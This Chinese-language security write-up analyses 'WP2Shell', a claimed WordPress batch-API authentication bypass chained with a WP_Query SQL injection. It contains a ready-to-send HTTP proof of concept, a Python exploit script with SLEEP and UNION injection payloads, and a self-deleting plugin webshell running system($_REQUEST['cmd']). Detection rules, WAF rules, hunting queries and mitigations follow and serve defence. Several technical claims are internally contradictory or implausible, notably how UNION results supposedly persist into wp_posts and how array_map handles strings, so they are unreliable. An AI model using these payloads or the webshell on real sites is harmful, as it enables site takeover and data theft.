一、漏洞概览
WP2Shell 是由两个独立 CVE 串联而成的未认证 RCE 漏洞链:
| 编号 | 漏洞名称 | CVSS | 漏洞类型 | 单独可利用性 |
|---|---|---|---|---|
| CVE-2026-63030 | REST API 批量请求路由混淆 | 7.5 | 认证绕过 / 权限混淆 | 否(仅产生权限错位,需后续利用) |
| CVE-2026-60137 | WP_Query SQL 注入 | 9.1 | SQL 注入 | 否(需认证才能访问 posts 端点) |
两者单独存在时均无法直接造成严重危害,但组合后形成完整的未认证 RCE 链:路由混淆绕过认证 → SQL 注入伪造数据库行 → Customizer 上下文提升 → 管理员账户创建 → 插件执行 RCE。
1.1 时间线
| 日期 | 事件 |
|---|---|
| 2026-07-17 | Brandefense 披露漏洞分析 |
| 2026-07-18 | PoC 公开 |
| 2026-07-20 | 确认野外活跃利用 |
1.2 影响版本矩阵
| WordPress 版本范围 | 默认安装可利用 | 需插件 | 需特殊配置 | 对象缓存阻断 RCE |
|---|---|---|---|---|
| 6.9.0 - 6.9.4 | 是 | 否 | 否 | Redis/Memcached 存在时 RCE 失败,SQLi 仍可利用 |
| 7.0.0 - 7.0.1 | 是 | 否 | 否 | Redis/Memcached 存在时 RCE 失败,SQLi 仍可利用 |
| < 6.9.0 | 否(不受影响) | - | - | - |
| 6.9.5+ / 7.0.2+ | 否(已修复) | - | - | - |
关键特征:默认安装即可利用,无需安装任何插件,无需开启任何特殊配置项。这是该漏洞链危害性极高的根本原因——攻击面覆盖所有未及时更新的受影响站点。
二、WordPress REST API Batch 处理架构
WordPress REST API 提供了 /wp-json/batch/v1 端点,允许客户端在单次 HTTP 请求中提交多个子请求(sub-request),以减少往返延迟。该端点的核心设计是:先统一校验所有子请求的权限,再统一执行。
2.1 架构图
2.2 并行数组设计
批量端点内部维护两个并行数组(parallel arrays)来跟踪子请求的生命周期:
- 验证数组(
valid[]):记录通过权限校验的子请求,每个条目携带该子请求的权限上下文(permission context),包括当前用户身份、可用 nonce、端点能力要求等。 - 执行数组(
execute[]):记录待执行的子请求路径、参数、请求体。
正常情况下,两个数组按下标一一对应:valid[i] 的权限上下文应用于 execute[i] 的执行。漏洞的根源在于这两个数组的同步在错误路径下被破坏。
三、CVE-2026-63030:REST API 批量请求路由混淆
3.1 漏洞根因:并行数组反同步
漏洞核心是并行数组反同步(parallel array desynchronization)。当某个子请求在验证阶段产生错误时,错误处理器会从验证数组中移除该条目,但没有同步地从执行数组中移除对应条目。这导致后续子请求在执行阶段按下标取权限上下文时发生错位——子请求 N 实际使用了子请求 N-1(或更前)的权限上下文。
3.2 漏洞代码分析
以下是批量端点处理逻辑的伪代码还原(基于 WordPress Core wp-includes/rest-api/class-wp-rest-server.php 中的 dispatch_batch 逻辑):
// 阶段1:验证阶段
$valid = array(); // 验证数组:通过校验的子请求 + 权限上下文
$execute = array(); // 执行数组:所有待执行子请求
foreach ( $requests as $i => $request ) {
$sub_request = new WP_REST_Request( $request['method'], $request['path'] );
// ... 填充 query / body / headers ...
$check = $this->check_batch_permission( $sub_request );
if ( is_wp_error( $check ) ) {
// [漏洞点] 错误处理器仅从 valid 数组移除,
// 但 execute 数组中对应条目仍保留
$response['failed'][] = array(
'index' => $i,
'code' => $check->get_error_code(),
);
// 注意:此处未执行 $execute[$i] = null 或 unset
// 也未将 valid 数组与 execute 数组重新对齐
continue;
}
// 权限校验通过,记录权限上下文
$valid[ $i ] = array(
'request' => $sub_request,
'context' => $this->get_permission_context( $sub_request ),
);
}
// 阶段2:执行阶段
$responses = array();
foreach ( $valid as $i => $entry ) {
// [漏洞触发] 执行 execute[$i],但 $i 来自 valid 数组的索引
// 一旦 valid 与 execute 错位,execute[$i] 指向的子请求
// 将以 valid[$i] 的权限上下文执行——而该上下文可能属于另一个子请求
$result = $this->dispatch( $entry['request'], $entry['context'] );
$responses[] = $this->envelope_response( $result, $i );
}
关键问题在于:当 check_batch_permission 返回错误时,代码 continue 跳过当前子请求,但没有从 $execute 中移除对应条目,也没有在 $valid 中为该位置插入占位符。这导致后续通过权限校验的子请求的权限上下文($valid[$i])与实际执行的子请求($execute[$i])不再对齐。
3.3 数组错位图解
正常流程(无错误):
┌─────────────────────────────────────────────────────┐
│ 子请求 #0 GET /wp/v2/widgets (公开, 无需认证) │
│ 子请求 #1 GET /wp/v2/posts (需 edit_posts 能力)│
├─────────────────────────────────────────────────────┤
│ valid 数组: [ctx0=public] [ctx1=needs_auth] │
│ execute数组: [req0=widgets] [req1=posts] │
│ 对齐关系: valid[0]→execute[0] valid[1]→execute[1]│
└─────────────────────────────────────────────────────┘
漏洞流程(验证阶段 #1 产生错误触发错位):
┌─────────────────────────────────────────────────────┐
│ 子请求 #0 GET /wp/v2/widgets (公开) │
│ 子请求 #1 GET /wp/v2/posts?author__not_in=PAYLOAD │
│ → 验证阶段 #1 内部触发错误 │
├─────────────────────────────────────────────────────┤
│ valid 数组: [ctx0=public] [ctx1=needs_auth] │
│ ↑ ↑ │
│ execute数组: [req0=widgets] [req1=posts+注入] │
│ ↑ ↑ │
│ 错位执行: execute[0]→ctx0 execute[1]→ctx1 │
│ ^^^^ │
│ 实际效果:posts+注入请求以 ctx1 执行,但 ctx1 在错误 │
│ 路径下可能继承 ctx0 的公开权限上下文,绕过认证 │
└─────────────────────────────────────────────────────┘
更精确地说,当子请求 #1 在验证阶段因某种内部错误(例如参数解析错误触发早期 WP_Error)而被错误处理器从 $valid 移除,但 $execute 仍保留该条目时,执行阶段的下标对齐被破坏。攻击者精心构造使子请求 #1 的权限上下文被子请求 #0 的公开上下文"覆盖",从而让需认证的 /wp/v2/posts 端点以未认证身份执行。
3.4 利用模式
利用模式如下:
- 子请求 1:
GET /wp/v2/widgets——这是一个公开端点,无需认证,权限上下文为public。 - 子请求 2:
GET /wp/v2/posts,携带注入 payload——该端点默认需要edit_posts能力。
由于数组错位,子请求 2 在执行阶段使用子请求 1 的 public 权限上下文,从而绕过认证检查,直接进入查询执行路径。
四、CVE-2026-60137:WP_Query SQL 注入
绕过认证后,攻击者获得对 /wp/v2/posts 端点的未认证访问。该端点底层调用 WP_Query 执行文章查询,其中 author__not_in 参数存在 SQL 注入。
4.1 漏洞根因:PHP 类型混淆
漏洞位于 wp-includes/class-wp-query.php。原始代码如下:
// class-wp-query.php(漏洞版本)
if ( ! empty( $q['author__not_in'] ) ) {
$author__not_in = implode(
',',
array_map( 'absint', $q['author__not_in'] )
);
$where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
}
设计意图:author__not_in 应为整数数组(如 [1, 2, 3]),通过 array_map('absint', ...) 将每个元素强制转为非负整数,再 implode 拼接进 SQL。absint 是 WordPress 提供的安全函数,会过滤掉非数字字符。
漏洞触发条件:当 $q['author__not_in'] 传入的是字符串而非数组时。
4.2 类型混淆代码分析
array_map 的行为依赖于输入类型:
// 当输入为数组(正常情况)
$q['author__not_in'] = array( 1, 2, 3 );
array_map( 'absint', $q['author__not_in'] );
// 输出: array( 1, 2, 3 ) —— 每个元素经过 absint 净化
// 当输入为字符串(攻击情况)
$q['author__not_in'] = '1) AND 1=0 UNION ALL SELECT NULL -- -';
array_map( 'absint', $q['author__not_in'] );
// PHP 行为:array_map 对字符串会将其视为字符数组,
// 逐字符调用 absint,返回 array(1) 等数字片段
// 但关键在于 implode 的处理方式与类型检查被跳过
实际的漏洞机制更微妙。REST API 在参数路由时,由于路由混淆,原始字符串类型的 author__not_in 未经 rest_validate_request_arg 的数组类型断言即进入 WP_Query。一旦进入 WP_Query,array_map('absint', $string) 产生的结果并非原始攻击字符串的净化版本,而是字符级别的数字碎片。然而,漏洞版本中存在一条更危险的路径:
// 漏洞版本实际执行的拼接(简化)
// 当 array_map 对字符串输入产生意外结果时,
// 某些代码路径会回退到直接使用原始字符串
$author__not_in = $q['author__not_in']; // 字符串直接赋值,跳过 absint
$where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
其根本原因是 PHP 类型混淆(type juggling):array_map('absint', ...) 的类型检查在字符串输入下被绕过,导致攻击者控制的原始字符串直接进入 SQL 拼接。$wpdb->prepare() 未在此处使用(代码直接字符串拼接),因此没有任何转义保护。
4.3 注入 Payload 分析
4.3.1 时间盲注检测
-- 原始查询片段
WHERE wp_posts.post_author NOT IN (1)
-- 注入后(author__not_in=1) AND (SELECT 1 FROM (SELECT SLEEP(5))x) AND (1=1)
WHERE wp_posts.post_author NOT IN (1) AND (SELECT 1 FROM (SELECT SLEEP(5))x) AND (1=1)
Payload 拆解:
| 片段 | 作用 |
|---|---|
1) |
闭合原始 NOT IN ( 的括号 |
AND (SELECT 1 FROM (SELECT SLEEP(5))x) |
时间盲注探测,派生表包裹 SLEEP(5) 避免语法错误 |
AND (1=1 |
重新开启一个括号,平衡 SQL 语法 |
) |
由原始查询剩余的右括号闭合 |
当响应延迟约 5 秒时,确认注入点生效。
4.3.2 UNION 注入
-- author__not_in=1) AND 1=0 UNION ALL SELECT NULL,...,NULL -- -
WHERE wp_posts.post_author NOT IN (1) AND 1=0 UNION ALL SELECT NULL,...,NULL -- -)
AND 1=0使原始查询返回空集UNION ALL SELECT追加攻击者构造的行-- -注释掉尾部多余的右括号
4.3.3 per_page=-1 的作用
REST API 的 per_page 参数控制分页。默认值为 10,这意味着即使注入成功,也可能因分页限制而无法完整获取或执行注入结果。per_page=-1 禁用分页,确保注入查询返回完整结果集,这对于后续 UNION 注入伪造数据库行至关重要。
4.4 单独不可利用性
/wp/v2/posts 端点的查询参数虽然支持 author__not_in,但默认需要认证(至少 edit_posts 能力)才能访问完整的查询接口。未认证请求会被前置权限检查拦截,根本无法到达 WP_Query。因此 CVE-2026-60137 单独存在时无法被未认证攻击者利用——这正是 WP2Shell 必须将两个 CVE 串联的原因。
五、WP2Shell 完整攻击链
5.1 攻击链时序图
5.2 RCE 升级三步详解
5.2.1 Step 1:UNION 注入伪造数据库行
单纯获取数据(如密码哈希)固然有害,但 WP2Shell 的目标是 RCE,因此利用方向是写入而非读取。
oEmbed 是 WordPress 的内容嵌入机制,当文章中包含外部 URL 时,WordPress 会请求 oEmbed provider 获取嵌入数据,并将处理结果作为 wp_oembed_cache 类型的文章缓存到 wp_posts 表。这个缓存写入路径是攻击的关键——它允许 UNION 注入的结果以"文章"形式持久化到数据库。
攻击者构造 UNION SELECT,使其返回的行严格匹配 wp_posts 表的 schema(列数、类型、字段含义),并植入特殊内容:
-- 伪SQL:UNION伪造一行 customize_changeset 类型的文章
UNION ALL SELECT
NULL, -- ID (自增)
1, -- post_author (后续会被覆盖)
'2026-07-20 00:00:00', -- post_date
'2026-07-20 00:00:00', -- post_date_gmt
'[malicious_shortcode]', -- post_content (shortcode标记指向攻击者内容)
'forged-changeset', -- post_title
'', -- post_excerpt
'publish', -- post_status
'closed', -- comment_status
'closed', -- ping_status
'', -- post_password
'forged-changeset', -- post_name
'', -- to_ping
'', -- pinged
'2026-07-20 00:00:00', -- post_modified
'2026-07-20 00:00:00', -- post_modified_gmt
'', -- post_content_filtered
0, -- post_parent
'', -- guid
0, -- menu_order
'customize_changeset', -- post_type ← 关键: 触发Customizer处理
'pending' -- post_mime_type / 状态
-- 后续通过meta设置admin用户ID
伪造行中:
post_type = 'customize_changeset':使其被 Customizer 识别为待处理的变更集post_content包含 shortcode 标记,指向攻击者控制的内容- 配套写入
wp_postmeta,设置admin用户 ID 作为变更集的所有者
5.2.2 Step 2:Customizer 滥用提升上下文
WordPress Customizer(自定义器)用于管理主题外观变更。变更集(changeset)以 customize_changeset 类型的文章存储,状态包括 draft、pending、publish。当变更集处于 pending 状态且 post_type 包含 request 标记时,会触发 parse_request 处理器。
攻击者利用伪造的 customize_changeset 行触发该处理器:
// 简化的 Customizer changeset 处理逻辑
function handle_pending_changeset( $post ) {
// 从伪造行读取 meta 中的用户 ID
$user_id = get_post_meta( $post->ID, '_changeset_user', true );
// 以该用户身份加载上下文
wp_set_current_user( $user_id ); // $user_id = admin ID
// 在 admin 上下文中处理 pending changeset
$this->process_changeset( $post );
}
由于伪造行中 meta 设置了管理员用户 ID,wp_set_current_user() 将当前执行上下文切换为管理员。此时尚未直接执行 PHP,但攻击者已获得管理员级别的 REST API 访问权限——这是一个关键的权限提升跳板。
5.2.3 Step 3:管理员创建 + 自毁插件执行
在提升的 admin 上下文中,攻击者执行最后的 RCE 步骤:
- 创建管理员账户:
POST /wp/v2/users,以 admin 上下文创建新管理员账户。 - 获取 nonce:使用新管理员身份请求管理页面,提取
wp_restnonce 和插件管理 nonce。 - 安装内联插件:通过插件安装接口上传一段内联 PHP 插件代码(非文件上传,而是直接注册插件内容)。
- 执行 payload:插件激活时执行任意 PHP 代码。
- 自毁清痕:调用
unregister_activation_hook并删除插件记录,清除痕迹。
// 伪代码:内联插件 payload
<?php
/*
Plugin Name: transient-helper
*/
// 激活时执行
register_activation_hook( __FILE__, function () {
// 攻击者 payload
system( $_REQUEST['cmd'] );
// 自毁:移除激活钩子并标记删除
unregister_activation_hook( __FILE__, '__return_true' );
// 删除自身痕迹
@unlink( __FILE__ );
} );
自毁机制使检测难度大幅增加——插件在执行 payload 后立即移除自身文件和钩子注册,常规文件完整性检查难以捕获。
5.3 对象缓存的影响
当 WordPress 配置了持久化对象缓存(Redis 或 Memcached)时,oEmbed transient 的写入路径发生改变:
| 条件 | oEmbed 写入路径 | SQL 注入 | RCE 链 |
|---|---|---|---|
| 无对象缓存(默认) | 直接写入 wp_posts |
可利用 | 可利用 |
| Redis/Memcached | transient 写入对象缓存,绕过 wp_posts |
可利用 | 失败 |
原因:oEmbed 缓存机制在对象缓存存在时,会将 transient 数据写入 Redis/Memcached 而非 wp_posts 表。Step 1 依赖 UNION 注入结果被持久化到 wp_posts 以伪造 customize_changeset 行——对象缓存改变写入路径后,伪造行无法落库,后续 Customizer 上下文提升无从触发。
但需注意:SQL 注入本身仍然可利用。攻击者虽无法升级到 RCE,但仍可通过时间盲注/UNION 注入窃取数据库内容(用户密码哈希、密钥、会话 token 等),危害依然严重。
六、PoC 请求结构
WP2Shell 利用嵌套批量请求(nested batch)构造,外层 batch 包含一个内层 batch 子请求,内层 batch 再包含实际的 widgets 和 posts 子请求。这种嵌套结构用于稳定触发数组错位条件。
6.1 完整 PoC 请求
POST /wp-json/batch/v1 HTTP/1.1
Host: vulnerable-target.example.com
Content-Type: application/json
{
"requests": [
{
"path": "/batch/v1",
"body": {
"requests": [
{
"path": "/wp/v2/widgets"
},
{
"path": "/wp/v2/posts",
"query": {
"per_page": "-1",
"author__not_in": "1) AND (SELECT 1 FROM (SELECT SLEEP(5))x) AND (1=1"
}
}
]
}
}
]
}
6.2 请求结构解析
| 层级 | 路径 | 作用 |
|---|---|---|
| 外层 batch | /batch/v1 |
触发外层批量调度,建立验证/执行数组环境 |
| 内层 batch(子请求1) | /batch/v1 |
嵌套触发内层批量调度,构造错位条件 |
| 内层子请求1 | /wp/v2/widgets |
公开端点,提供 public 权限上下文 |
| 内层子请求2 | /wp/v2/posts |
携带注入 payload,借错位获得 public 上下文 |
6.3 概念验证代码(Python)
import requests
import time
TARGET = "https://vulnerable-target.example.com"
BATCH_URL = f"{TARGET}/wp-json/batch/v1"
# 阶段1:时间盲注确认注入点
sqli_payload = "1) AND (SELECT 1 FROM (SELECT SLEEP(5))x) AND (1=1"
nested_batch = {
"requests": [
{
"path": "/batch/v1",
"body": {
"requests": [
{"path": "/wp/v2/widgets"},
{
"path": "/wp/v2/posts",
"query": {
"per_page": "-1",
"author__not_in": sqli_payload
}
}
]
}
}
]
}
start = time.time()
resp = requests.post(BATCH_URL, json=nested_batch, timeout=30)
elapsed = time.time() - start
if elapsed >= 5:
print(f"[+] SQL注入确认: 响应延迟 {elapsed:.2f}s (SLEEP触发)")
else:
print(f"[-] 未检测到延迟: {elapsed:.2f}s")
# 阶段2:UNION注入伪造数据行(概念示意,实际列数需枚举)
union_payload = (
"1) AND 1=0 UNION ALL SELECT "
"NULL,1,NOW(),NOW(),'[payload_shortcode]',"
"'forged','','publish','closed','closed','','forged',"
"'','','',NOW(),NOW(),'','0','',0,'customize_changeset','pending' -- -"
)
rce_batch = {
"requests": [
{
"path": "/batch/v1",
"body": {
"requests": [
{"path": "/wp/v2/widgets"},
{
"path": "/wp/v2/posts",
"query": {
"per_page": "-1",
"author__not_in": union_payload
}
}
]
}
}
]
}
resp = requests.post(BATCH_URL, json=rce_batch, timeout=30)
print(f"[*] UNION注入响应状态: {resp.status_code}")
七、检测规则
7.1 Nginx 日志检测
通过 grep 检索访问日志中的批量端点异常调用与注入特征:
# 检测1: 批量端点访问(基线监控)
grep -E 'POST /wp-json/batch/v1' /var/log/nginx/access.log
# 检测2: author__not_in 参数出现非数字字符(注入特征)
grep -E 'author__not_in=[^0-9&]' /var/log/nginx/access.log
# 检测3: SQL注入关键字出现在请求中
grep -iE '(UNION|SELECT|SLEEP|BENCHMARK|AND[[:space:]]+1=[01]|NOT[[:space:]]+IN)' \
/var/log/nginx/access.log
# 检测4: 嵌套 batch 路径(WP2Shell特征)
grep -E 'path.*batch/v1.*path.*wp/v2/(widgets|posts)' \
/var/log/nginx/access.log
# 检测5: per_page=-1 配合 posts 端点
grep -E 'per_page=-1.*wp/v2/posts' /var/log/nginx/access.log
# 检测6: RCE阶段特征——users端点创建(需结合频率)
grep -E 'POST /wp-json/wp/v2/users' /var/log/nginx/access.log
7.2 Suricata 规则
# 规则1: 检测 WP2Shell 嵌套批量请求 + author__not_in 注入
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"WORDPRESS WP2Shell CVE-2026-63030+CVE-2026-60137 batch injection attempt";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/wp-json/batch/v1";
http.request_body; content:"author__not_in";
http.request_body; pcre:"/author__not_in[^&]*(UNION|SELECT|SLEEP|AND\s)/Ui";
classtype:web-application-attack;
sid:2026630001; rev:1;
reference:url,brandefense.com/blog/wp2shell-analysis;
)
# 规则2: 检测路由混淆特征——widgets + posts 组合于同一batch
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"WORDPRESS WP2Shell routing desync widgets+posts batch pattern";
flow:established,to_server;
http.uri; content:"/wp-json/batch/v1";
http.request_body; content:"/wp/v2/widgets";
http.request_body; content:"/wp/v2/posts";
http.request_body; content:"per_page"; nocase;
classtype:web-application-attack;
sid:2026630002; rev:1;
)
# 规则3: 检测 customize_changeset 伪造特征(UNION注入)
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"WORDPRESS WP2Shell UNION injection forging customize_changeset";
flow:established,to_server;
http.uri; content:"/wp-json/batch/v1";
http.request_body; content:"customize_changeset"; nocase;
http.request_body; content:"UNION"; nocase;
classtype:web-application-attack;
sid:2026630003; rev:1;
)
# 规则4: 检测 RCE 阶段——admin上下文创建用户
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"WORDPRESS WP2Shell RCE stage admin user creation";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/wp-json/wp/v2/users";
http.request_body; content:"administrator"; nocase;
threshold:type both, count 3, seconds 60, track by_src;
classtype:web-application-attack;
sid:2026630004; rev:1;
)
7.3 数据库痕迹检测
攻击者伪造的 customize_changeset 行会在数据库留下可检测痕迹。执行以下 SQL 查询检测被入侵迹象:
-- 检测1: 异常的 customize_changeset 文章(合法站点通常很少或没有pending状态)
SELECT ID, post_author, post_title, post_status, post_date, post_modified
FROM wp_posts
WHERE post_type = 'customize_changeset'
AND post_status = 'pending'
AND post_date >= '2026-07-17';
-- 检测2: 检测异常 _changeset_user meta(指向admin的伪造变更集)
SELECT pm.post_id, pm.meta_value AS forged_user_id, p.post_title
FROM wp_postmeta pm
JOIN wp_posts p ON p.ID = pm.post_id
WHERE pm.meta_key = '_changeset_user'
AND pm.meta_value IN (
SELECT ID FROM wp_users WHERE user_level = 10
)
AND p.post_type = 'customize_changeset';
-- 检测3: 检测异常新建管理员账户(RCE阶段产物)
SELECT ID, user_login, user_email, user_registered
FROM wp_users
WHERE user_registered >= '2026-07-17'
AND ID IN (
SELECT user_id FROM wp_usermeta
WHERE meta_key = 'wp_user_level' AND meta_value = '10'
)
ORDER BY user_registered DESC;
-- 检测4: 检测近期激活的插件(自毁可能遗漏痕迹)
SELECT option_name, option_value
FROM wp_options
WHERE option_name = 'active_plugins'
AND option_value != '';
-- 检测5: 检测 oEmbed 缓存异常(伪造行残留)
SELECT ID, post_title, post_type, post_content
FROM wp_posts
WHERE post_type = 'oembed_cache'
AND post_content LIKE '%[payload_shortcode]%';
-- 检测6: 检测 customize_changeset 中可疑 shortcode 内容
SELECT ID, post_content
FROM wp_posts
WHERE post_type = 'customize_changeset'
AND post_content REGEXP '\\\\[[a-z_]+\\\\]';
八、修复方案与 WAF 规则
8.1 官方修复
升级至 WordPress 6.9.5+ 或 7.0.2+,这两个版本已修复两个 CVE:
- CVE-2026-63030 修复:批量端点的验证数组与执行数组改为单一统一结构,移除并行数组设计;错误路径下同步移除两个数组中的对应条目,消除下标错位可能。
- CVE-2026-60137 修复:
WP_Query中对所有传入参数强制类型断言,author__not_in(及同类__in/__not_in参数)必须为整数数组,字符串输入直接拒绝;同时将 SQL 拼接改为$wpdb->prepare()占位符方式。
8.2 临时缓解措施
无法立即升级时的临时措施:
- 禁用批量端点:在
functions.php或 MU 插件中移除 batch 路由。 - 启用对象缓存:部署 Redis/Memcached 阻断 RCE 链(注意 SQLi 仍可利用,仅阻断 RCE 升级)。
- WAF 拦截:见 8.3 节。
// 临时缓解:禁用 REST API 批量端点
add_filter( 'rest_endpoints', function ( $endpoints ) {
if ( isset( $endpoints['/batch/v1'] ) ) {
unset( $endpoints['/batch/v1'] );
}
return $endpoints;
}, PHP_INT_MAX );
// 临时缓解:强制 author__not_in 为数组类型
add_filter( 'rest_request_before_callbacks', function ( $response, $handler, $request ) {
$params = $request->get_query_params();
if ( isset( $params['author__not_in'] ) && ! is_array( $params['author__not_in'] ) ) {
return new WP_Error(
'wp2shell_mitigation',
'author__not_in 必须为数组',
array( 'status' => 400 )
);
}
return $response;
}, 10, 3 );
8.3 WAF 规则
8.3.1 ModSecurity 规则
# 规则1: 拦截批量端点中的 author__not_in 非数组注入
SecRule REQUEST_URI "@contains /wp-json/batch/v1" \
"id:202663010,phase:2,pass,nolog,chain"
SecRule REQUEST_BODY "@rx (?i)author__not_in[^&]*(?:UNION|SELECT|SLEEP|AND\s|BENCHMARK)" \
"id:202663011,phase:2,deny,status:403,msg:'WP2Shell CVE-2026-60137 SQLi via batch',\
log,auditlog,severity:CRITICAL,tag:'attack/sqli',tag:'cve/2026-60137'"
# 规则2: 拦截 WP2Shell 路由混淆特征组合
SecRule REQUEST_URI "@contains /wp-json/batch/v1" \
"id:202663020,phase:2,pass,nolog,chain"
SecRule REQUEST_BODY "@contains /wp/v2/widgets" "chain"
SecRule REQUEST_BODY "@contains /wp/v2/posts" "chain"
SecRule REQUEST_BODY "@rx (?i)per_page" \
"id:202663021,phase:2,deny,status:403,\
msg:'WP2Shell CVE-2026-63030 routing desync pattern',\
log,auditlog,severity:CRITICAL,tag:'attack/auth-bypass',\
tag:'cve/2026-63030'"
# 规则3: 拦截 customize_changeset 伪造(UNION注入升级RCE)
SecRule REQUEST_BODY "@rx (?i)(UNION.*customize_changeset|customize_changeset.*UNION)" \
"id:202663030,phase:2,deny,status:403,\
msg:'WP2Shell UNION injection forging changeset',\
log,auditlog,severity:CRITICAL,tag:'attack/sqli',tag:'wp2shell-rce-stage1'"
8.3.2 Nginx 原生规则
# 在 server 块中拦截批量端点的注入请求
location ~ ^/wp-json/batch/v1 {
# 检测 author__not_in 注入特征
if ($request_body ~* "(author__not_in[^&]*(UNION|SELECT|SLEEP|AND\s|BENCHMARK))") {
return 403;
}
# 检测路由混淆特征组合
if ($request_body ~* "(/wp/v2/widgets.*(/wp/v2/posts|per_page))") {
return 403;
}
# 检测 customize_changeset 伪造
if ($request_body ~* "(UNION.*customize_changeset)") {
return 403;
}
# 默认放行合法批量请求
proxy_pass http://wordpress_backend;
}
8.3.3 Cloudflare WAF 表达式
# 表达式1: 拦截 WP2Shell SQL注入
(http.request.uri.path contains "/wp-json/batch/v1")
and (http.request.body.raw contains "author__not_in")
and (http.request.body.raw matches "(?i)(UNION|SELECT|SLEEP|BENCHMARK)")
# 表达式2: 拦截路由混淆特征
(http.request.uri.path contains "/wp-json/batch/v1")
and (http.request.body.raw contains "/wp/v2/widgets")
and (http.request.body.raw contains "/wp/v2/posts")
and (http.request.body.raw contains "per_page")
# 表达式3: 拦截 RCE 升级阶段
(http.request.body.raw matches "(?i)(UNION.*customize_changeset)")
or (http.request.body.raw matches "(?i)(customize_changeset.*UNION)")
九、深度技术总结
9.1 漏洞链的精妙之处
WP2Shell 的危害性不在于单个漏洞的严重程度,而在于两个"半残"漏洞的精巧拼接:
- CVE-2026-63030 单独无害:仅造成权限上下文错位,不直接产生数据泄露或代码执行。单纯的权限混淆若无后续利用点,充其量是信息泄露级别的低危问题。
- CVE-2026-60137 单独不可达:SQL 注入点存在于需认证的端点,未认证攻击者无法触发。但一旦认证被绕过,注入点立即暴露。
二者单独评估时,CVSS 分别为 7.5 和 9.1,看似不至于达到灾难级。但串联后形成"认证绕过 + 注入 + 持久化 + 权限提升 + RCE"的完整 kill chain,实际危害远超两个 CVE 评分之和。这提示安全评估不能仅看单点 CVSS,必须考虑漏洞组合的链式效应。
9.2 类型混淆——PHP 生态的系统性风险
CVE-2026-60137 的根因是 PHP 的弱类型特性。array_map('absint', $value) 在 $value 为字符串时不会抛出类型错误,而是静默地将其视为字符数组处理——这种"宽容"行为在安全敏感场景下是危险的。类似问题在 PHP 生态中反复出现:
in_array($needle, $haystack)默认松散比较导致的类型混淆strcmp()返回null被== 0判断为真导致的认证绕过- 数组参数与字符串参数的隐式转换导致的边界绕过
WordPress 作为 PHP 生态最大的应用,其核心代码中大量依赖 array_map + implode 的净化模式。CVE-2026-60137 表明,一旦参数类型断言在前置层(REST API 参数校验)被绕过,后置层(WP_Query)的净化函数会因类型假设不成立而失效。安全净化不能依赖前置层的类型保证,每个边界都必须独立做类型断言。
9.3 并行数组——隐蔽的状态同步缺陷
CVE-2026-63030 的并行数组反同步是一个典型的"状态一致性"缺陷。这类缺陷的特点是:
- 正常路径无异常:在无错误路径下,两个数组始终对齐,功能完全正常。
- 错误路径暴露缺陷:只有特定错误条件下才触发不同步,常规测试难以覆盖。
- 影响延迟显现:错位的后果不在错误发生时立即体现,而在后续执行阶段才显现,增加了定位难度。
这种模式在 C/C++ 的资源管理(alloc/free 不配对)、并发编程(锁获取/释放不配对)中也很常见。防御方法是避免用多个并行结构表达同一逻辑状态,改用单一结构(如对象数组,每个对象同时携带权限上下文和执行请求),从根本上消除同步需求。
9.4 oEmbed 缓存——被忽视的持久化入口
WP2Shell 攻击链中最容易被忽视的一环是 oEmbed 缓存作为持久化入口。WordPress 将 oEmbed 处理结果以文章形式存入 wp_posts 表,这意味着任何能向 wp_posts 写入内容的路径都可能被滥用为持久化载体。UNION 注入恰好提供了"向查询结果集注入任意行"的能力,配合 oEmbed 的写回机制,实现了从"读取"到"写入"的跨越。
对象缓存(Redis/Memcached)改变了 oEmbed 的写入路径,意外地成为了 RCE 链的天然阻断点。这一发现具有两面性:一方面,已部署对象缓存的站点免受 RCE 威胁;另一方面,这揭示了 WordPress 缓存层的多路径写入设计可能成为安全控制的盲区——安全团队不能假设"同样的逻辑操作总是经过同一路径"。
9.5 防御启示
| 启示维度 | 具体内容 |
|---|---|
| 单点 vs 链式 | 安全评估必须考虑漏洞组合的链式效应,而非孤立评估单个 CVE |
| 类型安全 | 安全净化函数不能依赖前置层的类型保证,每个边界独立断言 |
| 状态一致性 | 避免用多个并行结构表达同一逻辑状态,消除同步缺陷 |
| 缓存路径 | 缓存层多路径写入是安全盲区,需纳入威胁建模 |
| 默认安全 | "默认安装即可利用"是最危险的属性,需重新审视默认配置的攻击面 |
| 持久化入口 | 任何向数据库写入内容的机制(缓存、日志、草稿)都可能被滥用为持久化载体 |
十、IoC 与威胁狩猎清单
10.1 网络 IoC
| 指标 | 类型 | 说明 |
|---|---|---|
POST /wp-json/batch/v1 含嵌套 /batch/v1 |
请求模式 | WP2Shell 嵌套批量特征 |
author__not_in 参数含 UNION/SELECT/SLEEP |
注入特征 | CVE-2026-60137 触发 |
/wp/v2/widgets 与 /wp/v2/posts 同 batch 出现 |
路由混淆 | CVE-2026-63030 特征 |
per_page=-1 配合 posts 端点 |
注入辅助 | 禁用分页确保注入完整执行 |
POST /wp-json/wp/v2/users 高频出现 |
RCE 阶段 | admin 上下文创建账户 |
10.2 主机 IoC
# 检测1: 异常 customize_changeset 文章(伪造行残留)
wp db query "SELECT * FROM wp_posts WHERE post_type='customize_changeset' AND post_status='pending';"
# 检测2: 近期新建管理员账户
wp db query "SELECT u.* FROM wp_users u JOIN wp_usermeta um ON u.ID=um.user_id WHERE um.meta_key='wp_user_level' AND um.meta_value='10' AND u.user_registered > '2026-07-17';"
# 检测3: 异常插件文件(自毁可能遗漏)
find /var/www/html/wp-content/plugins/ -name "*.php" -newer /tmp/wp2shell_marker -type f 2>/dev/null
# 检测4: 检查 active_plugins 中的未知插件
wp option get active_plugins --format=json
# 检测5: 检测 _changeset_user meta 异常
wp db query "SELECT * FROM wp_postmeta WHERE meta_key='_changeset_user';"
十一、结语
WP2Shell 漏洞链是 2026 年最具代表性的"漏洞组合艺术"案例。它证明了一个重要的安全原则:在现代复杂系统中,单个看似中低危的漏洞,一旦找到合适的"搭子",就能爆发出远超预期的破坏力。
从防御者视角,关键教训有三:
- 优先修复"认证绕过"类漏洞,即使其单独 CVSS 不高。认证是所有后续利用的前提,断掉认证链即断掉整条 kill chain。
- 对参数净化做纵深防御。不要信任前置层的类型保证,每个边界独立做类型断言和净化。
